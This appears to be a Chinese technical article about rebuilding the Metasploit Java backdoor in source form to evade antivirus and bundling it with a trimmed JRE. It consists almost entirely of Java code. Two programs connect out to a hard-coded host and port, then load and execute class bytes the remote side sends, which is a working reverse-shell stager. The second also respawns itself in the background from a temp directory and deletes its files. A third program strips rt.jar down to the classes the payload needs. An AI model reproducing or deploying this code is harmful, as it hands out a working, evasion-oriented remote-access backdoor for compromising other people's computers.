【Java编程实战】Metasploit_Java后门运行原理分析以及实现源码级免杀与JRE精简化

import java.io.DataInputStream;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class Main extends ClassLoader {public static void main(String[] paramArrayOfString) throws Exception {    getShell();  }public static void getShell() throws Exception {    InputStream inputStream1 = null;    OutputStream outputStream = null;      int j = new Integer("1937").intValue();      String str4 = "192.168.179.133";      Socket socket = null;      if (str4 != null) {        socket = new Socket(str4, j);      }      inputStream1 = socket.getInputStream();      outputStream = socket.getOutputStream();      (new Main()).bootstrap(inputStream1, outputStream);}private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {    try {      Class clazz;      DataInputStream dataInputStream = new DataInputStream(paramInputStream);        int i = dataInputStream.readInt();        do {          byte[] arrayOfByte = new byte[i];          dataInputStream.readFully(arrayOfByte);          resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));          i = dataInputStream.readInt();        } while (i > 0);      Object object = clazz.newInstance();      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });    } catch (Throwable throwable) {    }   }}

import java.io.DataInputStream;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class Main extends ClassLoader {private static final String JAVA = System.getProperty("java.home") + "/bin/java.exe";  public static void main(String[] paramArrayOfString) throws Exception {    runInBackground();  }  public static void runInBackground() throws Exception {    Class clazz=Main.class;    File file1 = File.createTempFile("~spawn", ".tmp");      file1.delete();      File file2 = new File(file1.getAbsolutePath() + ".dir");      file2.mkdir();      File file3=new File(file2,clazz.getName().replace(".", "/")+".class");      File file4=new File(file2,"config");      if(readFile(Main.class, "config").equals("1")) {        writeFile(null, "config", file2,false,"0");        writeFile(clazz, clazz.getName().replace(".", "/")+".class", file2, true, null);      }      else {getShell();}      Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });      Thread.sleep(2000L);      File[] files= {file3,file4,file2};      for(File f:files) {f.delete();}}  public static void writeFile(Class clazz,String name,File dir,boolean ifIsfile,String config) throws IOException {  InputStream inputStream=null;  if(ifIsfile) {inputStream=clazz.getResourceAsStream("/"+name);}  File file=new File(dir,name);  file.getParentFile().mkdirs();  FileOutputStream fileOutputStream=new FileOutputStream(file);  byte[] b=new byte[4096];  if(ifIsfile) {    int i;  while((i=inputStream.read(b))!=-1) {    fileOutputStream.write(b, 0, i);  }  }else {  fileOutputStream.write(config.getBytes());  }  if(inputStream!=null)inputStream.close();  fileOutputStream.close();}  public static String readFile(Class clazz,String name) throws IOException {  InputStream inputStream=clazz.getResourceAsStream("/"+name);  StringBuffer str = new StringBuffer();  byte[] b=new byte[1024];  int i;  while((i=inputStream.read(b))!=-1) {    str.append(new String(b,0,i));  }  inputStream.close();  return str.toString();}  public static void getShell() throws Exception {    InputStream inputStream1 = null;    OutputStream outputStream = null;      int j = new Integer("1937").intValue();      String str4 = "192.168.179.133";      Socket socket = null;      if (str4 != null) {        socket = new Socket(str4, j);      }      inputStream1 = socket.getInputStream();      outputStream = socket.getOutputStream();      (new Main()).bootstrap(inputStream1, outputStream);}  private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {    try {      Class clazz;      DataInputStream dataInputStream = new DataInputStream(paramInputStream);        int i = dataInputStream.readInt();        do {          byte[] arrayOfByte = new byte[i];          dataInputStream.readFully(arrayOfByte);          resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));          i = dataInputStream.readInt();        } while (i > 0);      Object object = clazz.newInstance();      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });    } catch (Throwable throwable) {    }   }}

import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.util.ArrayList;import java.util.List;
import javax.sound.sampled.LineListener;
public class Main {public static void main(String[] arg) throws IOException {  Runtime runtime=Runtime.getRuntime();  String[] command={"java","-jar","-XX:+TraceClassLoading","C:\\Users\\Administrator\\Desktop\\msf.jar"};  Process process=runtime.exec(command);  BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));  StringBuffer sBuffer=new StringBuffer();  List<String> list=new ArrayList<String>();  int i =0;  String lineString;  while((lineString=bReader.readLine())!=null)    {      sBuffer.append("\n"+getCore(lineString));      list.add(getCore(lineString.replace(".", "/")));      i++;    }  bReader.close();  System.out.println(sBuffer.toString());  list.add(0,"C:\\Program Files\\Java\\jdk1.8.0_131\\jre\\lib\\rt.jar");  list.add(0,"xvf");  list.add(0,"jar");  String[] jar=list.toArray(new String[list.size()]);  process=runtime.exec(jar);  getOutput(process);  System.out.println("Load class:" + i );  System.out.println("jar xvf done!");  String[] cmdJarPackage=cmd("jar cvf rt.jar com java javax META-INF org sun sunw");  runtime.exec(cmdJarPackage);  System.out.println("All done!");}public static String getCore(String line){  String result = null;  if (line.startsWith("[Loaded")) {    //if (line.split(" ")[1].startsWith("java"))//jdk,java,sun.com    if(true)    {      result = line.split(" ")[1];    }    else {      result = "";    }    return result;  }  else {    return "";  }  }public static String[] cmd(String cmd) {  return cmd.split(" ");  }public static void getOutput(Process process) throws IOException {  BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));  while(bReader.readLine()!=null)   {    System.out.println("\n" + bReader.readLine());  }}}